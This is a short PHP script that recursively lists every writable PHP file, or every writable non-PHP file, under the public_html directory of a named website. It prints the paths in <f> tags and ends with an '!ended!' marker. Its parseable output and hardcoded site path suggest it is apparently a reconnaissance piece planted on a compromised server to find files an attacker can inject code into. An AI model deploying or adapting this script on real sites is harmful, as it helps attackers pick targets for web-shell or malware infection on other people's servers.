<?php   function scan($path, $root, $php=true) {     if ($dir = @opendir($path)) {         while (false !== ($file = readdir($dir))) {             $p = $path . '/' . $file;             if ($file != '.' && $file != '..') {                 if (is_link($p)) {                     continue;                 } elseif (is_dir($p)) {                     scan($p, $root, $php);                 } elseif (is_file($p) && is_writable($p)) {                     $ext = pathinfo($p, PATHINFO_EXTENSION);                     $res = str_replace($root, '', $p);                     if ($php && $ext == 'php') {                         print "<f>{$res}</f>\n";                     } elseif (!$php && $ext != 'php') {                         print "<f>!{$res}</f>\n";                     }                 }             }         }     } } $r = "/home/whitespacesolutions.com/public_html"; scan($r, $r); die('!ended!');